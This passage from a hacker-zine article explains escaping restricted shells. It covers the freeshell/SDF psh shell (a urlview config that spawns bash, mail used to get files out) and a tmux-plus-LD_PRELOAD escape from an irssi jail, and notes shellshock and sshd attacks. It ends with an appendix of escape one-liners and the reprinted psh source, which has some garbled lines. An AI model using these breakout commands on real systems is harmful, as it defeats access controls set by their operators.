812read any file, giving us our read primitive. The current source code for
813the psh shell is included in the appendix for you to learn from. In order
814to read arbitrary files from pico, we simply press the ctrl+r (^R) key
815combination and type a file-name.
816
817From within this pico execution we are also able to save files using the
818ctrl+o hotkey (^O). This provides us an arbitrary write primitive, which
819will come in useful for us later.
820
821In the freeshell case, from within this environment we actually have the
822ability to send email. This provides an easy way for us to exfiltrate
823files. This can be done by reading a file (such as psh) into our pico
824session, then mailing it to a mailinator address for extraction.
825
826Now that we have read/write primitives, we need to leverage them to gain
827an execution primitive. After much investigation, the way that i ended up
828doing this was to abuse the urlview feature of mutt.
829
830Mutt offers the ability to select a email message and hit the ctrl+b (^B)
831hotkey in order to display a list of url's within the email message. The
832line in the config file which enables this is shown below.
833
834^B M |urlview\n call urlview to extract URLs out of a
835 message
836
837As you can see, the email message is simply piped to the urlview
838application. The description of this application from the manual page
839describes urlview as:
840
841 urlview is a screen oriented program for extracting URLs from
842 text files and displaying a menu from which you may launch a
843 command to view a specific item.
844
845From the man page we can see that urlview is driven from a configuration
846file, either a system wide one "/etc/urlview.conf" or a local user copy
847"~/.urlview". This configuration file is worth investigation with our write
848primitive to see what is available.
849
850Again from the configuration file, we can see that the COMMAND option fits
851our need. It's description is shown below.
852
853COMMAND command
854If the specified command contains a %s, it will be subsituted with the
855URL that was requested, otherwise the URL is appended to the COMMAND
856string. The default COMMAND is:
857
858 url_handler.sh %s
859
860As you can see, all that's needed it to create a configuration file with
861the following contents:
862
863 COMMAND /usr/pkg/bin/bash # %s
864
865This will cause urlview to append the url to the above line, and execute
866it. Since a # is used prior to the %s the url will be treated as a
867comment. This results in an unrestricted bash shell being executed when we
868select an email message, press v followed by ctrl+b.
869
870Once again this technique has been fixed, I will leave it as an exercise
871for the reader to find a new one. Hopefully freeshell is not angry about
872this since it is a learning exercise.
873
874--[ A real life example - Private shell box
875
876Recently a friend of mine set up a private ircd box for some semi-trusted
877people. He created a chrooted environment where a user could ssh into a
878box and be greeted with a tmux session containing a single window with the
879irssi client inside it. I was unable to create a new window, or execute any
880other commands. Irssi was heavily restricted using a configuration file,
881stopping easy wins like /exec from within the irssi client.
882
883After some trial and error, i settled into the tmux man page for
884inspiration. tmux supports a variety of commands which can be entered by
885pressing the tmux hotkey (ctrl+b) in this case and the : key. This provides
886a small shell in which you can enter commands to tmux.
887
888Reading the man-page, one of the first commands which stood out was as
889follows:
890
891 update-environment variables
892 Set a space-separated string containing a list of environment variables
893to be copied into the session environment when a new session is created or
894an existing session is attached. Any variables that do not exist in the
895source environment are set to be removed from the session environment (as
896if -r was given to the set-environment command). The default is "DISPLAY
897SSH_ASKPASS SSH_AUTH_SOCK SSH_AGENT_PID SSH_CONNECTION WINDOWID
898XAUTHORITY".
899
900To test this, i set the environment variable LD_PRELOAD to the value
901/tmp/wut.so. Then i logged out and into the box. This resulted in a
902segmentation faul upon connecting back as irssi tried to spawn, while
903loading a shared library which didn't exist. Great i'd found a bug, but
904unfortunately i'd locked myself out of the shell. Since this was a test, i
905could luckily ask my friend to restart my tmux session, however in a real
906case this would have been trouble. Now i had the ability to load a dynamic
907library of my choice, however without the ability to create one on disk, i
908was still not any better off.
909
910After reading the tmux man page a little more, i came across the commands
911responsible for managing the paste buffers.
912
913Specifically, it is possible to load a paste buffer from a file using the
914command:
915
916 load-buffer [-b buffer-name] path
917
918 (alias: loadb)
919
920 Load the contents of the specified paste buffer from path.
921
922With the paste buffer containing a file, you can then use:
923
924 show-buffer [-b buffer-name]
925
926 (alias: showb)
927
928 Display the contents of the specified buffer.
929
930This creates a new tmux window, containing the contents of the file you
931loaded. This gives us the read primitive.
932
933We can also use the command:
934
935 save-buffer [-a] [-b buffer-name] path
936
937 (alias: saveb)
938
939 Save the contents of the specified paste buffer to path. The -a option
940appends to rather than overwriting the file.
941
942As you can see, this command allows us to write our buffer out to a
943different file. To experiment with this, i copied a shared library that i
944knew existed by loading it into the buffer, then writing it out to /tmp.
945Then i set LD_PRELOAD, and validated that irssi did not crash.
946
947The final command needed to break out of this shell is:
948
949 set-buffer [-a] [-b buffer-name] [-n new-buffer-name] data
950
951 (alias: setb)
952
953 Set the contents of the specified buffer to data. The -a option appends
954to rather than overwriting the buffer. The -n option renames the buffer to
955new-buffer-name.
956
957As you can see, this lets us manipulate the paste buffer in a more fine
958grain manner, in order to create a .so that we can abuse to get controlled
959code execution.
960
961As you can see, the methodology at play here is very similar to the
962previous examples, but the actual technology at play was very different.
963
964--[ Attacking the transport
965
966In some cases the restricted shell is just too restrictive, and it's just
967not possible to gain any of these primitives. In these cases there are
968still some things that are worth investigating. Sometimes you can attack
969the protocol with which you are connecting to the system. The first
970example, is the shellshock vulnerability (sorry to use a buzzword).
971Systems which are vulnerable to shellshock can sometimes be exploited to
972execute bash commands prior to invoking the users shell. This obviously
973breaks out of the restrictive environment.
974
975Another example, is when the shell is dynamically linked. (Such as
976nologin typically). If the user is also given ftp access, or the ability to
977otherwise write to their home directory, sometimes the .ssh/ directory can
978be written to in order to create a config file, and if sshd is poorly
979configured, this can allow the user to provide a LD_PRELOAD environment
980variable to the ssh session, bypassing the nologin shell.
981
982--[ Conclusion
983
984As you can hopefully see, setting up a restricted shell in a secure manner
985is an almost impossible task. The nature of secure shells involves exposing
986an untrusted user to code which was not designed to be trusted.
987
988While there was not too much as far as technical content in this paper,
989hopefully it has still provided you some entertainment, and some ideas you
990can use in the future. I definitely encourage you all to play with some
991restricted shells as, even if you do not need the functionality, they still
992provide a fun free wargame.
993
994Thanks go out to freeshell.org for your interesting wargame levels over the
995years, as well as huku for your help with this.
996
997--[ References
998
9991) Restricted shells - Wikipedia -
1000 https://en.wikipedia.org/wiki/Restricted_shell
10012) http://www.freeshell.org
10023) http://www.defensecode.com/public/
1003 DefenseCode_Unix_WildCards_Gone_Wild.txt
1004
1005--[ Appendix A - Common commands with useful primitives
1006
1007- vim :: Execution primitive
1008 :set shell=/bin/bash
1009 :shell
1010- arp -f <file> :: File read primitive
1011- iptables --modprobe=<cmd> :: Execution primitive
1012- tar --checkpoint-action=<cmd> :: Execution primitive
1013- rsync -e <cmd> :: Execution primitive
1014- scp -F <file> a b: :: File read primitive
1015- scp -S <command> a b: :: Execution primitive
1016- lynx 'e' :: File read/write in editor
1017- lynx ! :: Execute Primitive
1018- mail "~v" :: Execute primitive
1019
1020--[ Appendix B - psh Source code
1021
1022#!/usr/pkg/bin/pdksh
1023stty susp '' intr '' quit '' erase '^h'
1024count=0
1025ccount=0
1026export TERM=xterm-color
1027export SHELL=/dev/null
1028export LESSSECURE=true
1029export HISTORY=$HOME/.history
1030export EDITOR=/usr/pkg/bin/pico
1031export VISUAL=/usr/pkg/bin/pico
1032export NNTPSERVER=VALIDATE.TO.ACCESS.USENET
1033export MYTTY=`tty|cut -d/ -f3,4`
1034export SMALLTTY=`echo $MYTTY|cut -c4-5`
1035export MYIP=`echo $SSH_CLIENT|awk '{print $1}'`
1036
1037if [ -f ${HOME}/.profile ]
1038then rm -f ${HOME}/.profile
1039exit 0
1040fi
1041if [ -f ${HOME}/.kshrc ]
1042then rm -f ${HOME}/.kshrc
1043exit 0
1044fi
1045
1046if [ "$MYIP" = "" ]
1047then MYIP="x.x.x.x"
1048fi
1049if [ -f $HOME/.pshrc ]
1050then BACKSPACE=`grep BACKSPACE $HOME/.pshrc|cut -d= -f2`
1051if [ "$BACKSPACE" != "" ]
1052then stty erase $BACKSPACE 1>/dev/null 2>/dev/null
1053fi
1054fi
1055
1056Validate(){
1057echo
1058echo "Validation is basically designed to protect us from spammers. There"
1059echo "are ways you can get validated by an SDF member. For instance if you"
1060echo "were a student and your professor taught a class here on SDF you"
1061echo "could gain validation through that class."
1062echo
1063echo "If you were referred to SDF by a friend or a current SDF member,"
1064echo "they may be able to validate your new account for you. You can"
1065echo "usually find SDF egulars in either 'com' or 'irc'. Be sure to ask"
1066echo "them to help you."
1067echo
1068echo "(continue)\c"
1069read continue
1070echo
1071echo "Validating your account ensures our future! Please do it today."
1072echo "Remember, you make SDF what it is. Without you, we wouldn't exist."
1073echo
1074echo " 1) Get a stamped envelope, a sheet of paper and ONE (1) US Dollar."
1075echo " 2) Write '$LOGNAME' clearly in the upper left hand corner of the"
1076echo "envelope."
1077echo " 3) Fold the donation inside a piece of paper and place inside the"
1078echo "envelope."
1079echo " OPTIONAL: Send TWO (2) US Dollars & SASE for an SDF Bumper Sticker."
1080echo
1081echo " 4) Seal and mail to: SDF Public Access UNIX System"
1082echo " Post Office Box 17355"
1083echo " Seattle WA 98127 USA"
1084echo
1085echo "Alternatively you may 'validate' your account via PAYPAL by clicking"
1086echo "on the"
1087echo "'DONATE' button at the bottom of the http://sdf.org website. The"
1088echo "paypal"
1089echo "minimum is \$3. Please include 'Validate $LOGNAME' in the Payment"
1090echo "For field."
1091echo
1092#echo "We also accept BitCoin for validation:"
1093echo "17GQEeNNHYPmkdgzHmHXiyMaVfgrhPvGBQ"
1094echo "We also accept BitCoin - Please type 'bitcoin' for details."
1095echo
1096echo "You may also credit the validation fee towards 'arpa' membership"
1097echo "should"
1098echo "you decide to join 'arpa' within 30 days of validating your account."
1099echo
1100echo "(continue)\c"
1101read continue
1102echo
1103echo "To see what you get as a validated member, type 'user'"
1104echo "For Lifetime ARPA membership to SDF via paypal, type 'arpa'"
1105echo "To see a list of UNIX commands you can use *NOW*, type 'unix'"
1106echo "To view user contributed tutorials, visit http://sdf.org/?tutorials"
1107echo "US Military Personnel, please type 'mil'"
1108echo
1109}
1110
1111Menu(){
1112
1113echo "SDF psh Version 8 - *PREVALIDATED SHELL ACCOUNT*"
1114echo
1115echo " what - what can I use this account for?"
1116echo " unix - a listing of UNIX commands available to you NOW"
1117echo " how - information on increasing membership"
1118echo " teach - using SDF in a classroom setting"
1119echo " dialup - information about SDF dialup service"
1120echo " arpa - about lifetime arpa membership"
1121echo " bboard - sdf user message boards"
1122echo " commode - chat with other users online"
1123echo " ysm - chat on the ICQ network"
1124echo " bsflite - chat on the AIM network"
1125echo " msnre - chat on the MSN network"
1126echo " ttytter - listen to Twitter tweets anonymously"
1127echo " lynx - browse the WWW textually or access GOPHER"
1128echo " bksp - set your BACKSPACE key"
1129echo " faq - frequently asked questions"
1130echo " software - display software programs installed on the system"
1131echo " quote - get a real time stock quote"
1132echo " games - a listing of available games"
1133echo " thxmoo - connect to the THXMOO"
1134echo " mud - connect to the SDFmud"
1135#echo " delme - delete your free account"
1136echo " validate - gain additional shell access (also try 'user' for"
1137echo "details)"
1138echo
1139
1140}
1141
1142Move(){
1143echo "Basic movement in $1:"
1144echo
1145echo "j - down (or rotate)"
1146echo "k - up (or rotate)"
1147echo "h - left"
1148echo "l - right"
1149echo "q or Q to quit"
1150echo
1151echo "[RETURN]\c"
1152read ret
1153}
1154
1155case `uname -n` in
1156ol) /usr/local/bin/maint
1157kill -9 0 ;;
1158mx) echo
1159echo "mx is reserved for mail service only."
1160echo "Please use 'tty.sdf.org' to connect to SDF."
1161echo
1162sleep 5
1163kill -9 0 ;;
1164sverige) echo
1165echo "sverige is reserved for MetaARPA members only."
1166echo "Please use 'tty.sdf.org' to connect to SDF."
1167echo
1168sleep 5
1169kill -9 0 ;;
1170vinland) echo
1171echo "vinland is reserved for VHOST members only."
1172echo "Please use 'tty.sdf.org' to connect to SDF."
1173echo
1174sleep 5
1175kill -9 0 ;;
1176esac
1177
1178/usr/pkg/bin/expire
1179#echo "Would you like to VALIDATE your account now? (y/n) \c"
1180#case `/usr/pkg/bin/getchar` in
1181# 121|89) echo "YES"
1182# Validate ; echo "[RETURN]\c";read return;;
1183# *) echo "NO" ;;
1184#esac
1185echo
1186echo "Please press your BACKSPACE key: \c"
1187stty raw
1188dd of=.$$ count=1 1>/dev/null 2>/dev/null
1189stty -raw
1190stty erase `head -1 .$$` 2>/dev/null
1191rm -f .$$
1192#echo
1193#echo "Enable Colours: (y/n) \c"
1194#case `/usr/pkg/bin/getchar` in
1195# 89|121) COLOR=TRUE
1196# touch -f $HOME/.color ;;
1197# *) COLOR=FALSE ;;
1198#esac
1199clear
1200echo
1201echo "===================================================================="
1202echo "SDF host uptime report for Seattle WA, Dallas TX (USA) and Germany"
1203echo " Please use 'tty.sdf.org' for general access"
1204echo "===================================================================="
1205echo
1206/usr/local/bin/ruptime -a
1207echo "(continue)\c"
1208read return
1209/usr/pkg/games/pom
1210/usr/pkg/bin/phoon
1211echo "(continue)\c"
1212read return
1213/usr/pkg/bin/guestbook -l 50
1214echo "\nType 'help' for Commands."
1215echo "Type 'com' to chat with other users."
1216echo "Type 'ttytter' to listen to Twitter Tweets anonymously."
1217echo "Type 'mud' to play the SDFmud."
1218case `url $LOGNAME` in
1219*.*.*) echo "\nYour website is http://`url ${LOGNAME}|awk '{print $1}'`"
1220echo "with files in $HOME/html\n" ;;
1221*) echo "Type 'mkhomepg' to set up your personal website.\n"
1222esac
1223case `echo $RANDOM|cut -c1` in
12241|2|3|4|5) echo "Did you know you can become a permanent LIFETIME member"
1225echo "of SDF"
1226echo "by making a onetime donation of \$36? Type 'arpa' for more info!\n" \
1227;;
12286|7|8|9) echo "Did you know you can validate your account and gain weekend"
1229echo "IRC access"
1230echo "by making a donation of \$1 to \$3? Type 'validate' for more"
1231echo "info!\n" ;;
1232esac
1233/usr/pkg/bin/dues -p
1234#Menu
1235PROMPT="`uname -n`"
1236while true
1237do
1238if [ ! -d $HOME ]
1239then echo "You may have become an ARPA member."
1240echo
1241echo "The update is now taking place and may require 2 or 3 minutes to"
1242echo "complete. You will now be logged out. When you reconnect, please"
1243echo "use ssh to connect to 'tty.sdf.org' for load balancing."
1244echo
1245echo "[RETURN]\c"
1246read return
1247kill -9 0
1248fi
1249
1250if [ -f $HOME/.mailcap ]
1251then rm -f $HOME/.mailcap
1252fi
1253if [ "$COLOR" = "TRUE" ]
1254OMPT
1255
1256thene echo "$PROMPT:`pwd`> \c"
1257fi
1258read command
1259arg=`echo ${command}|awk '{print $2,$3,$4,$5,$6}'`
1260
1261#if [ "$ccount" -gt "6" ]
1262#then echo "\nPlease 'validate' or join 'arpa' today."
1263# echo "Your membership ensures our future!!\n"
1264# ccount=0
1265#else ccount=`expr $ccount + 1`
1266#fi
1267echo "[`date +"%d-%b-%y %H:%M:%S"` $MYIP $MYTTY $PROMPT] $PWD $command" \
12682>/dev/null >>$HISTORY
1269case `echo $command|awk '{print $1}'|tr A-Z a-z` in
1270tty) tty;;
1271stty) stty;;
1272lock) lock;;
1273ulimit) ulimit;;
1274uname*) uname `echo ${command}|awk '{print $2}'` ;;
1275echo*) shift ${command}
1276echo "${command}" ;;
1277how) /usr/local/bin/how;;
1278cal*) /usr/pkg/bin/cal `echo $command|awk '{print $2}'` ;;
1279what) /usr/local/bin/newbie
1280;;
1281
1282passwd*|chfn*|chsh*|maint) /usr/local/bin/passwd ;;
1283url*) url=`echo $command|awk '{print $2}'`
1284url $url;;
1285gopher*) site=`echo $command|awk '{print $2}'`
1286if [ "$site" = "" ]
1287then lynx -anonymous -restrictions=all gopher://sdf.lonestar.org
1288else lynx -anonymous -restrictions=all $site
1289fi
1290;;
1291bksp*) bksp=`echo $command|awk '{print $2}'`
1292if [ "$bksp" = "" ]
1293then echo "\nTo set your backspace key, type 'bksp' then press your"
1294echo "actual key and then press return.\n"
1295else stty erase $bksp
1296echo "BACKSPACE=$bksp" > $HOME/.pshrc
1297fi;;
1298
1299bitcoin*) /usr/local/bin/bitcoin ;;
1300sftp*|ftp*) echo "\nPlease 'validate' your account to FTP files to and"
1301echo "from your SDF account.\n" ;;
1302tar*|make|cc*|tf*|gcc*|g++*|perl*|python*|ruby*|*configure*|netstat*| \
1303telnet*|ssh*|rlogin*|screen*|nmap*|wget*)
1304echo "\nTo use this feature, please join the SDF 'arpa' membership"
1305echo "ARPA membership is available to you for a one time donation of only"
1306echo "\$36."
1307echo
1308echo "Your membership ensures our future! Type 'arpa' for details.\n"
1309;;
1310getdialup*) npa=`echo $command|awk '{print $2}'`
1311/usr/local/bin/getdialup $npa ;;
1312setdialup) echo "Please validate your account first. For now you can use"
1313echo "'getdialup' to find access numbers in your area." ;;
1314phlog|deskshots|sdfers) echo "Please validate your account first." ;;
1315dialup) /usr/local/bin/dialup ;;
1316games) /usr/local/bin/games ;;
1317mud) /usr/pkg/bin/mud ;;
1318war) /sys/sdf/bin/war ;;
1319warsetup) /sys/sdf/bin/warsetup ;;
1320thxmoo) /usr/pkg/bin/thxmoo ;;
1321bj) /usr/pkg/games/bj;;
1322lander) /usr/pkg/games/lander;;
1323othello) /usr/pkg/games/othello;;
1324advent) /usr/pkg/games/advent;;
1325zork) /usr/pkg/games/advent;;
1326tttt) /usr/pkg/games/tttt;;
1327moon) /usr/pkg/bin/moon-buggy;;
1328tetrinet) if [ "$LINES" -lt "50" ]
1329then echo "% tetrinet requires your TTY to be at least 50 lines."
1330sleep 2
1331fi
1332tetrinet $LOGNAME tetrinet.sdf.org
1333;;
1334tess) /usr/pkg/games/tess;;
1335c4) /usr/pkg/games/c4;;
1336ski) /usr/pkg/games/ski;;
1337knight) /usr/pkg/games/knight;;
1338suicide) /usr/pkg/games/suicide;;
1339dinkum) /usr/pkg/games/dinkum;;
1340aybabtu) /usr/local/bin/aybabtu;;
1341barnacle) /usr/pkg/bin/barnacle;;
1342invaders) /usr/pkg/games/invaders
1343stty sane ;;
1344life) /usr/pkg/bin/life /usr/pkg/share/life/tiny.life ;;
1345order) echo "Please validate your account first.";;
1346ysm) /usr/pkg/bin/ysm;;
1347micq) /usr/pkg/bin/rmicq;;
1348bsflite) /usr/pkg/bin/bsflite;;
1349msnre) /usr/pkg/bin/msnre;;
1350dopewars) dopewars;;
1351zombies) Move $command
1352/usr/pkg/bin/zombies;;
1353snake) Move $command
1354/usr/pkg/games/snake;;
1355wanderer) Move $command
1356/usr/pkg/games/wand;;
1357worm) Move $command
1358/usr/pkg/games/worm;;
1359greed) Move $command
1360/usr/pkg/games/greed;;
1361tetris) Move $command
1362/usr/pkg/games/tetris;;
1363sokoban) Move $command
1364/usr/pkg/games/sokoban;;
1365robots) Move $command
1366/usr/pkg/games/robots;;
1367torus) Move $command
1368/usr/pkg/games/torus;;
1369mazewar) /usr/local/bin/mazewar;;
1370mdg) /usr/local/bin/mdg
1371if [ "$?" != "0" ]
1372then echo "\nMDG might not be running at the moment"
1373echo "Please try again later."
1374fi;;
1375dict*) args=`echo $command|awk '{print $2}'`
1376dict $args
1377;;
1378quote*) args=`echo $command|awk '{print $2}'`
1379quote $args
1380;;
1381cal*) args=`echo $command|awk '{print $2}'`
1382cal $args
1383;;
1384domains) /usr/local/bin/domains ;;
1385unix) unix ;;
1386linux) linux;;
1387dig*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" "$8}'`
1388dig $domain
1389;;
1390host*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" \
1391"$8}'`
1392host $domain
1393;;
1394geoip*) domain=`echo $command|awk '{print $2}'`
1395geoip $domain
1396;;
1397whois*) domain=`echo $command|awk '{print $2}'`
1398jwhois $domain
1399;;
1400nslookup*) domain=`echo $command|awk '{print $2}'`
1401nslookup $domain
1402;;
1403pkg_info) pkg_info 2>/dev/null|sort|more ;;
1404lynx*restrict*) echo $command|mailx -s "$LOGNAME" smj;;
1405lynx*) url=`echo $command|awk '{print $2}'`
1406if [ "$url" = "" ]
1407then lynx -anonymous -restrictions=all http://sdf.lonestar.org
1408else case $url in
1409http:*) ;;
1410*) url="http://$url" ;;
1411esac
1412lynx -anonymous -restrictions=all $url
1413fi
1414;;
1415
1416edit*|vi*|pico*|emacs*) file=`echo $command|awk '{print $2}'`
1417if [ "$file" = "" ]
1418then echo "usage: edit {file}"
1419else case $file in
1420*../*|*.kshrc*|*.bashrc*|*.pshrc*|*.muttrc*|*.telnet*|*.mailcap*|*. \
1421forward*|*.plan*|*.cfg*|*.history*) echo "usage: edit {file}";;
1422*) /usr/pkg/bin/pico -t -b -o $HOME $PWD/$file ;;
1423esac
1424fi
1425;;
1426man*) man `echo $command|awk '{print $2}'`;;
1427rm*) target=`echo $command|awk '{print $2}'`
1428if [ "`echo $command|awk '{print $3}'`" != "" ] || [ "$target" = "" ]
1429then echo "usage: rm {filename}"
1430else case $target in
1431*.history*|*psh*|*.hushlogin*) echo "Can't remove $target";;
1432*) if [ -d $target ]
1433then rm -rf $target
1434else rm $target
1435fi;;
1436esac
1437fi;;
1438mv*) oldname=`echo $command|awk '{print $2}'`
1439newname=`echo $command|awk '{print $3}'`
1440if [ "`echo $command|awk '{print $4}'`" != "" ] || [ "$oldname" = "" ] || \
1441 [ "$newname" = "" ]
1442then echo "usage: mv {oldfile} {newfile}"
1443else case $oldname$newname in
1444*.muttc*|*.kshrc*|*.mailcap*|*.telnet*|*.plan*|*html*|*.forward*|*. \
1445history*|*psh*|*.hushlogin*|*.cfg*) echo "Cant move $oldname to $newname";;
1446*) mv $oldname $newname ;;
1447esac
1448fi;;
1449ping*) /sbin/ping -c5 `echo $command|awk '{print $2}'`;;
1450teach) cat ~ftp/pub/sdf/faq/TEACH/01;;
1451traceroute*) traceroute `echo $command|awk '{print $2}'` & ;;
1452games) games;;
1453disk) disk;;
1454df*) df `echo $command|awk '{print $2}'` ;;
1455oneliner) /usr/pkg/bin/oneliner;;
1456rogue) /usr/pkg/games/rogue ;;
1457hack) /usr/pkg/games/hack ;;
1458nethack) /usr/pkg/bin/nethack ;;
1459hunt*) echo
1460echo "hunt commands:"
1461echo
1462echo "j - down"
1463echo "k - up"
1464echo "h - right"
1465echo "l - right"
1466echo "1 - gun"
1467echo "2 - grenade"
1468echo "3 - bomb"
1469echo "q - quit"
1470echo
1471echo "the shift key plus j,k,h or l changes direction"
1472echo
1473/usr/pkg/games/hunt `echo $command|awk '{print $2}'`;;
1474upload) echo "press CTRL-X several times to abort."
1475lrz -y;;
1476mkdir) directory=`echo $command|awk '{print $2}'`
1477case $directory in
1478*html*|*.plan*) echo "usage: mkdir {name}";;
1479*) mkdir $directory;;
1480esac;;
1481#mkhomepg*|mkhome*) mkhomepg `echo $command|awk '{print $2}'`;;
1482mkhomepg*|mkhome*) echo "mkhomepg has been temporarily disabled for"
1483echo "prevalidated users." ;;
1484
1485vhost) echo
1486echo " As a lifetime ARPA member, you can increase your membership level"
1487echo " so that you may virtually host your own domain name on SDF. This"
1488echo " includes DNS, mail service and virtual webhosting. For more info"
1489echo " check out the FAQ: file"
1490echo ;;
1491help) Menu;;
1492profiles) /usr/pkg/bin/profiles ;;
1493#freeirc) echo "% 'freeirc' is available to ALL validated users from"
1494echo "Friday 23:59:59"
1495# echo " through Monday 00:00:01 UTC. Please 'validate' your account"
1496# echo "today!" ;;
1497user) echo "\nValidated users (\$1.00 or more) have immediate access to:\n"
1498echo " 200mb total (home, web, mail & gopher)"
1499echo " incoming file transfers via ftp or sftp"
1500echo " elm, pine, mutt, mailx, rmail, pop3, gopher"
1501echo " bash, ash, ksh, tcsh, rc, zsh, tclsh"
1502echo " your URL http://$LOGNAME.freeshell.org"
1503echo " limited cgi execution (shell scripts)"
1504echo " icq, aim, talk, commode, bboard"
1505echo " dialup ppp/shell access in the US and Canada"
1506echo " USENET and ClariNET read/post access"
1507echo " freeirc on Saturdays and Sundays"
1508echo " hundreds of UNIX utilities"
1509echo
1510echo "The purpose of the prevalidated account is to help newusers"
1511echo "learn about the UNIX system. Type 'unix' to see what UNIX"
1512echo "commands are available to you right now. You can validate"
1513echo "your account today! type 'validate' to validate\n";;
1514env) env;;
1515set) set;;
1516#delme) delme;;
1517bboard) /usr/pkg/bin/bboard;;
1518eggdrop*) echo "% eggdrop is available to MetaARPA members only" ;;
1519psybnc*) echo "% psybnc is available to MetaARPA members only" ;;
1520arpa|join|member) arpa;;
1521auction) auction;;
1522cat*|more*|less*) file=`echo $command|awk '{print $2}'`
1523case $file in
1524*psh*) file="" ;;
1525*random*|*null*|*zero*) echo "% Ja tvoi sluga ja tvoi rabotnik";file="" ;;
1526esac
1527if [ "$file" = "" ]
1528then echo "usage: cat {filename}"
1529else if [ "`wc -l $file|awk '{print $1}'`" -ge "500" ]
1530then tail -500 $file
1531else cat $file
1532fi
1533fi;;
1534software*) /usr/local/bin/software `echo $command|awk '{print $2}'` ;;
1535cd*) cd `echo $command|awk '{print $2}'`;;
1536finger*) user=`echo $command|awk '{print $2}'`
1537case ${user} in
1538*-*) user=root ;;
1539esac
1540size=`ruptime -a|awk 'END {print $1}'`
1541if [ "$user" = "" ]
1542then echo "You are on `uname -n` among $size users. ('validate' to see"
1543echo "usernames)"
1544else finger -m $user
1545fi ;;
1546date) date ;;
1547whereis*) whereis `echo $command|awk '{print $2}'`;;
1548locate*) locate `echo $command|awk '{print $2}'` ;;
1549whoami*) /usr/bin/whoami ;;
1550who|w|ps*|last*)
1551size=`ruptime -a|awk 'END {print $1}'`
1552echo "You are on `uname -n` among $size users. ('validate' to see"
1553echo "usernames)" ;;
1554uptime|ruptime*) ruptime -a;;
1555chmod*) chmod `echo $command|awk '{print $2" "$3}'` ;;
1556ls*|ll*|dir*) if [ "$COLOR" = "TRUE" ]
1557then /usr/pkg/bin/colorls -a `echo $command|awk '{print $2}'|tr R r`
1558else ls -a `echo $command|awk '{print $2}'|tr R r`
1559fi ;;
1560sl*) /usr/pkg/bin/sl ;;
1561pwd) pwd;;
1562msg) msg ;;
1563# ps*) ps `echo $command|awk '{print $2}'` ;;
1564validate) Validate ;;
1565mil) /usr/local/bin/mil ;;
1566why) echo
1567echo "It didn't used to be this way .. but you must understand that your"
1568echo "small token of trust builds a better SDF for all of us:"
1569echo
1570echo "Due to the increased number of security and spam attacks, we are now"
1571echo "asking that you send ONE US Dollar (or 5 EURO note) as a token of"
1572echo "your sincerity in becoming a longterm member of our community. It is"
1573echo "unfortunate that the net has become filled with people whose daily"
1574echo "goal in life is to terriorize others online. We believe that asking"
1575echo "for ONE US Dollar would not present a burden"
1576echo "to anyone in the world. We hope to keep SDF a safe and secure haven"
1577echo "for you and other shell users. To get an SDF bumper sticker, send in"
1578echo "TWO US Dollars and a SASE (Self-Addressed Stamped Envelope). Please"
1579echo "include your username."
1580echo
1581echo " SDF public access UNIX system"
1582echo " Post Office Box 17355"
1583echo " Seattle WA 98127 USA"
1584echo;;
1585w*) size=`ruptime -a|awk 'END {print $1}'`
1586echo "You are on `uname -n` among $size users. ('validate' to see"
1587echo "usernames)" ;;
1588
1589alpine*|pine*|mail*|mutt*|elm*) case `echo $command|awk '{print $2}'` in
1590-*) echo "unknown mail flag." ;;
1591*) mutt -F /sys/pkg/etc/rmuttrc ;;
1592esac;;
1593*irc*|bitchx*|irssi*|epic*|freeirc*)
1594#tetrinet $LOGNAME tetrinet.sdf.org ;;
1595echo "-=- Basic IRC Commands -=-"
1596echo
1597echo "/list - List channels"
1598echo "/join #channel - Join a channel"
1599echo "/list #channel - Leave a channel"
1600echo "/msg nick msg - Send a private message"
1601echo "/who - Who is on"
1602echo "/quit - Quit IRC"
1603echo
1604echo "-(continue)-\c"
1605read ret
1606/usr/pkg/bin/oirc -p 7000 ${LOGNAME} irc.sdf.org
1607#/usr/pkg/bin/oirc -p 6667 ${LOGNAME} irc.sdf.org
1608echo ;;
1609
1610com|chat|commode) \
1611room=`/usr/pkg/bin/comwho|head -3|tail -1|awk '{print $1}'`
1612echo "ROOMNAME=$room" > $HOME/.comrc
1613/usr/pkg/bin/com ;;
1614pcom|pcommode) room=`/usr/pkg/bin/pcomwho|head -3|tail -1|awk '{print $1}'`
1615echo "ROOMNAME=$room" > $HOME/.comrc
1616/usr/pkg/bin/pcom ;;
1617ttytter*|twitter*) echo "% Twitter username (or [RETURN] for anonymous):\c"
1618read tweet
1619if [ "$tweet" = "" ]
1620then echo "% Logging in anonymously"
1621/usr/local/bin/ttytter -anonymous
1622else /usr/local/bin/ttytter -user=$tweet
1623fi ;;
1624w2k) /usr/local/bin/w2k ;;
1625mkgopher) mkgopher;;
1626faq) faq;;
1627clear) clear;;
1628usenet|trn*|tin*|slrn*|nn*|rn*) echo "% USENET is available to validated"
1629echo "users." ;;
1630die) echo "you has failed."
1631sleep 4
1632exit 0 ;;
1633logout|leave|bye|quit|exit|escape|terminate|cease|logoff|end)
1634clear
1635#echo "Would you like to remove your account from our system? (y/n) \c"
1636#read ans
1637# case $ans in
1638# y*|Y*) delme ;;
1639# *) echo "% '$LOGNAME' will not be deleted." ;;
1640# esac
1641echo "Good Bye from the S D F - 1 .."
1642echo
1643echo "Please 'validate' or join 'arpa' soon."
1644echo "Your support is appreciated!"
1645echo
1646echo "Thank you!"
1647sleep 8
1648exit 0;;
1649uinfo|expire) uinfo;expire ;;
1650dues) /usr/pkg/bin/dues ${arg} ;;
1651#helpdesk) /usr/pkg/bin/helpdesk ;;
1652guestbook) /usr/pkg/bin/guestbook ;;
1653id*) /usr/bin/id ${arg} ;;
1654nospam) echo "You must be validated to use this feature."
1655;;
1656*) if [ "$command" != "" ]
1657then echo "psh: $command: not found - try 'help' for commands"
1658else if [ "$count" -gt "20" ]
1659then exit 0
1660else count=`expr $count + 1`
1661fi
1662fi;;
1663esac
1664doneecho "
1665
1666
1667|=[ 0x04 ]=---=[ Personalized PGP Key IDs - f1los0tt1l3 ]=---------------=|
1668
1669
1670|=-----------------------------------------------------------------------=|
1671|=-----------=[ Personalized PGP Key IDs for fun and profit ]=-----------=|
1672|=-----------------------------------------------------------------------=|
1673|=---------------------------=[ f1los0tt1l3 ]=---------------------------=|
1674|=-----------------------------------------------------------------------=|
1675
1676
1677---[ Contents
1678
1679 1 - Introduction
1680 1.1 - Prior work
1681 2 - The spec
1682 3 - The attack
1683 3.1 - Preparation
1684 3.2 - The crash
1685 3.2.1 - Runtime stats
1686 3.3 - The patch
